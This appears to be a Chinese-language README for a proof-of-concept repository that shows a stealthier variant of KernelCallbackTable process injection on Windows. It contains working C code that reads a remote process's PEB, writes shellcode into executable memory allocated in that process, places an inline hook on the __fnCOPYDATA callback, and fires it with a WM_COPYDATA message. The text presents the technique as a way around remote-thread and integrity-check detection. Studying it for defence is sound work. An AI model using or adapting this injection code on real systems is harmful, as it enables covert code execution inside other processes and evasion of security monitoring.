本仓库严格仅供教育和防御性研究使用。
它以概念验证的形式演示 Windows 内部回调调度机制以及与 KernelCallbackTable 相关的控制流概念。
作者对误用不承担任何责任。
该注入技术滥用了 Windows 图形子系统(win32k.sys)所使用的内核到用户回调调度路径,以在远程进程内获得代码执行能力。通过定位 KernelCallbackTable(目标进程的 Process Environment Block (PEB)`),操作者可以枚举回调条目,并识别在 GUI 相关的内核转换期间被调用的合法用户态例程。
与传统的 KernelCallbackTable 注入(直接使用 shellcode 地址覆盖回调条目)不同,该变体挂钩表中引用的合法回调目标,并在调用时将执行重定向到攻击者控制的 shellcode。由于执行是通过一条既有的、符合预期的回调路径被劫持的,因此相较于远程线程创建或 基于 APC 的注入 等更常规的原语,该技术可提供更隐蔽的替代方案。
Windows 图形子系统通过一种从内核模式发起的回调机制,将部分 GUI 相关处理委托给用户模式。当 win32k.sys 需要在 GUI 进程的上下文内执行逻辑时,它会调用 KeUserModeCallback,以在保持两种执行上下文之间隔离边界的同时,完成从内核模式到用户模式的受控转换。
这一转换建立了合法的执行路径,内核通过该路径将图形子系统回调分派到用户模式——也就是本技术后续所滥用的同一路径。
转换完成后,执行进入 KiUserCallbackDispatcher,这是 ntdll.dll 中的一个例程,负责接收内核提供的回调索引,并将执行分派到对应的用户模式回调处理程序。该例程是所有通过 KeUserModeCallback 发起的回调的必经入口点。
由于所有回调解析都汇聚于此,KiUserCallbackDispatcher 充当了内核回调请求与其最终用户模式执行之间的中枢枢纽。
为了解析所请求回调的目标,KiUserCallbackDispatcher 会查阅存储于目标进程 PEB 中的 KernelCallbackTable。每个表条目都包含一个指向用户模式回调例程的指针,该例程与特定的图形子系统操作相关联,通常实现于 user32.dll。
传统的 KernelCallbackTable 注入 技术会直接覆盖其中一个或多个条目以重定向执行。尽管有效,但修改表本身会引入结构异常,可能通过对 PEB 或回调表内容的完整性校验而被轻易检测到。本技术通过保留表结构,转而篡改条目所引用的回调目标来规避这一问题。
在可用的 KernelCallbackTable 条目中,__fnCOPYDATA 提供了一个特别方便的触发原语,因为它可以通过 SendMessage() 发送 WM_COPYDATA 消息来从外部触发。这使得回调可以在不需要异常进程状态或复杂交互的情况下被确定性地触发。
通过利用一个自然可访问且经常使用的回调目标,该技术在重定向之前完全保持在预期的回调调度链内,从而获得可靠的执行原语。

该技术首先定位目标进程并读取其 PEB,以恢复 KernelCallbackTable 的地址,并据此解析 __fnCOPYDATA 的回调指针。随后在远程进程内分配可执行内存,并将攻击者控制的 shellcode 写入该区域。在修改之前,会保留合法回调例程的原始字节,以便后续恢复。
随后在已解析的 __fnCOPYDATA 例程起始处安装内联钩子(inline hook),将其序言(prologue)替换为一条指向注入 shellcode 的绝对跳转。为了触发执行,会向目标窗口发送一条 WM_COPYDATA 消息,使 Windows 图形子系统通过标准的内核到用户回调链分派 __fnCOPYDATA。执行完成后,原始回调字节会被恢复,以保持进程稳定性并减少残留的修改痕迹。
KernelCallbackTable 位于 PEB 内的偏移量 0x58 处:

使用以下逻辑获取它:
PROCESS_BASIC_INFORMATION pbi;
PEB peb;
KERNELCALLBACKTABLE kct;
if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL) != STATUS_SUCCESS)
{
NtClose(hProcess);
return 1;
}
/* Read remote PEB */
if (NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL) != STATUS_SUCCESS)
{
NtClose(hProcess);
return 1;
}
/* Ensure KernelCallbackTable is present */
if (!peb.KernelCallbackTable) {
NtClose(hProcess);
return 1;
}
/* Read KernelCallbackTable contents */
if (NtReadVirtualMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL) != STATUS_SUCCESS)
{
NtClose(hProcess);
return 1;
}
代码首先以 ProcessBasicInformation 信息类调用 NtQueryInformationProcess,以填充 PROCESS_BASIC_INFORMATION 结构,该结构通过 PebBaseAddress 字段暴露远程进程的 PEB 地址。
接下来,使用 NtReadVirtualMemory 将远程 PEB 读取到本地的 PEB 结构中,从而能够提取存储于进程环境中的 KernelCallbackTable 指针。在验证回调表存在后,第二次 NtReadVirtualMemory 调用会将远程 KERNELCALLBACKTABLE 结构复制到本地内存中,从而可以直接解析 __fnCOPYDATA 等回调目标,以便后续进行篡改。

PVOID remoteShellcodeAddr = NULL;
SIZE_T shellcodeSize = sizeof(g_CalcSh);
if (NtAllocateVirtualMemory(hProcess, &remoteShellcodeAddr, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == STATUS_SUCCESS) {
if (NtWriteVirtualMemory(hProcess, remoteShellcodeAddr, g_CalcSh, sizeof(g_CalcSh), NULL) == STATUS_SUCCESS) {
printf("[+] shellcode @ 0x%p\n", remoteShellcodeAddr);
NtAllocateVirtualMemory 在远程进程内保留可执行内存,并通过 remoteShellcodeAddr 返回其基地址。分配大小由 shellcode 缓冲区长度决定。
随后,NtWriteVirtualMemory 将 shellcode 复制到已分配区域,将载荷暂存于目标进程中,以便稍后通过回调篡改来执行。
int InitializeHookRemote(HANDLE hProcess, PVOID pRemoteFunc, PVOID pRemoteDetour, PINLINEHOOKTABLE Hook) {
if (!pRemoteFunc || !pRemoteDetour || !Hook || !NtProtectVirtualMemory || !NtReadVirtualMemory) return 0;
Hook->pOriginalFunction = pRemoteFunc;
Hook->pFunctionDetour = pRemoteDetour;
if (NtReadVirtualMemory(hProcess, pRemoteFunc, Hook->pObjBytes, JMP_SIZE, NULL) != STATUS_SUCCESS) return 0;
PVOID pBaseAddress = pRemoteFunc;
SIZE_T sRegionSize = JMP_SIZE;
if (NtProtectVirtualMemory(hProcess, &pBaseAddress, &sRegionSize, PAGE_EXECUTE_READWRITE, &Hook->dwOldProtection) != STATUS_SUCCESS) return 0;
return 1;
}
InitializeHookRemote 通过将原始函数地址和篡改函数(detour)地址存储到 INLINEHOOKTABLE 结构中,为远程回调目标的篡改做好准备。它使用 NtReadVirtualMemory 读取目标例程的前几个字节,以保留原始回调序言,然后使用 NtProtectVirtualMemory 将该区域的内存保护更改为 PAGE_EXECUTE_READWRITE,以便能够安全地进行修补。
int InstallHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory) return 0;
BYTE g_Jump[] = {
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, pRemoteDetour
0x41, 0xFF, 0xE2 // jmp r10
};
UINT64 uPatch = (UINT64)(Hook->pFunctionDetour);
RtlCopyMemory(&g_Jump[2], &uPatch, sizeof(uPatch));
if (NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, g_Jump, sizeof(g_Jump), NULL) != STATUS_SUCCESS) return 0;
printf("[+] Hook installed in remote process @ 0x%p\n", Hook->pOriginalFunction);
return 1;
}
InstallHookRemote 构造一个绝对 x64 跳转存根(mov r10, <detour>; jmp r10),用于将执行重定向到注入的 shellcode。随后通过 NtWriteVirtualMemory 将该跳转存根写入目标回调例程的开头,从而实际安装内联钩子。
int RemoveHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory || !NtProtectVirtualMemory) return 0;
ULONG tmpProtection = 0;
PVOID funcBaseAddr = Hook->pOriginalFunction;
SIZE_T regionSize = JMP_SIZE;
NTSTATUS status = NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, Hook->pObjBytes, JMP_SIZE, NULL);
NtProtectVirtualMemory(hProcess, &funcBaseAddr, ®ionSize, Hook->dwOldProtection, &tmpProtection);
return (status == STATUS_SUCCESS);
}
RemoveHookRemote 通过写回存储在 INLINEHOOKTABLE 结构中的原始序言字节来恢复原始回调例程。然后使用 NtProtectVirtualMemory 恢复被修补区域原有的内存保护属性,从而移除内联钩子,使回调目标回到初始状态。
INLINEHOOKTABLE FnCopyDataHook = { 0 };
if (InitializeHookRemote(hProcess, kct.__fnCOPYDATA, remoteShellcodeAddr, &FnCopyDataHook)) {
if (InstallHookRemote(hProcess, &FnCopyDataHook)) {
printf("[>] Triggering WM_COPYDATA callback...\n");
COPYDATASTRUCT cds = {
1,
(DWORD)wcslen(msg) * sizeof(WCHAR),
msg
};
SendMessageW(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);
RemoveHookRemote(hProcess, &FnCopyDataHook);
}
}
为了触发执行,通过 SendMessageW 向目标窗口发送一条 WM_COPYDATA 消息,强制 Windows 回调调度器沿正常的内核到用户回调路径调用被挂钩的 __fnCOPYDATA 例程。执行完成后,RemoveHookRemote 恢复原始回调字节,以保持进程稳定性。
实现上述逻辑后,即可运行该概念验证程序,得到以下结果:
